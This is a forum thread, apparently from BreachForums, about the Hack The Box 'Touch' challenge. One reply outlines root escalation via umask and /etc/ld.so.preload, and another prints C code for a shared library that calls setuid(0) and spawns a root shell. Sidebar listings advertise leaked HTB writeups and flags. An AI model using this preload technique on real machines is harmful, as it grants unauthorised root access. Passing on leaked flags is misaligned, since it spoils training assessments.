Jun 16, 2024, 09:24 AM
Any hint for touch challenge ?
|
HTB - Touch Challenge
by Th3B4h0z - Sunday June 16, 2024 at 09:24 AM
|
|
Jun 16, 2024, 09:24 AM
Any hint for touch challenge ?
Jun 17, 2024, 08:16 AM
(Jun 16, 2024, 09:24 AM)Th3B4h0z Wrote: Any hint for touch challenge ? 1) Access the challenge shell 2) Examine the Environment 3) Identify the Exploitation Vector: - note: /bin/touch 4) Modify File Permissions with umask - ... - Create a new file and confirm the permissions 5) Exploit /etc/ld.so.preload 6) Create the Malicious Shared Library and compile it 7) Transfer to challenge and Use the Shared Library 8) Modify /etc/ld.so.preload 9) Gain Root Access && Read the Flag
Jun 26, 2024, 12:16 PM
(Jun 17, 2024, 08:16 AM)pwns4k3 Wrote:THX(Jun 16, 2024, 09:24 AM)Th3B4h0z Wrote: Any hint for touch challenge ? [url=https://breachforums.rs/search.php?action=finduser&uid=9705][/url]
Jul 10, 2024, 05:41 PM
Trying this code for shared lib
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unlink("/etc/ld.so.preload"); setgid(0); setuid(0); system("/bin/sh"); } //cd /tmp //gcc -fPIC -shared -o pe.so pe.c -nostartfiles The system crash and shutdown :=( |
|
« Next Oldest | Next Newest »
|
| Possibly Related Threads… | |||||
| Thread | Author | Replies | Views | Last Post | |
| [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired | 376 | 93,836 |
4 hours ago Last Post: Sukon |
||
| [FREE] CPTS • CWES • CDSA • CWEE Exam Hint | 233 | 32,394 |
4 hours ago Last Post: Sukon |
||
| [FREE] CPTS 12 FLAGS | 74 | 2,397 |
4 hours ago Last Post: Sukon |
||
| [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot | 89 | 8,130 |
9 hours ago Last Post: Xploitd |
||
|
|
[FREE] HackTheBox All Cheatsheets | 10 | 638 |
Yesterday, 03:44 PM Last Post: chufoni |
|